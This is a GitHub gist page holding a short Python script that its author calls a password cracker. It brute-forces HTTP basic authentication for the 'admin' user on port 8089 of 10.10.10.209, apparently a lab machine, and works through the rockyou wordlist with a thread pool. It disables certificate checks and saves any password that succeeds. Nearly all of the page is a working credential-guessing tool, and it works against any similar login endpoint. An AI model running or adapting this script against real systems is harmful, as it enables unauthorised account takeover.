Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@hegzploit
Last active September 29, 2020 11:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hegzploit/e6bb5b03f8e2683ea87a2d9a7a677d96 to your computer and use it in GitHub Desktop.
Save hegzploit/e6bb5b03f8e2683ea87a2d9a7a677d96 to your computer and use it in GitHub Desktop.
A simple cracker i made with requests and multiprocessing
import multiprocessing.dummy as mp
import requests
#curl -k -u admin:pass https://10.10.10.209:8089/services
requests.packages.urllib3.disable_warnings()
URL = "https://10.10.10.209:8089/services"
USERNAME = 'admin'
passwords = open("/usr/share/KaliLists/rockyou.txt", 'rb').read().strip().splitlines()
count_progress = 0
def brute(pwd):
global count_progress
print("{}/{}".format(count_progress, len(passwords)))
try:
r = requests.get(URL, verify=False, auth=(USERNAME, pwd.decode()))
if(r.status_code!=401):
print("found password: {}".format(pwd))
with open("pass.txt", 'w') as f:
f.write(pwd.decode())
except:
pass
count_progress += 1
if __name__ == "__main__":
p=mp.Pool(5)
p.map(brute, passwords)
p.close()
p.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment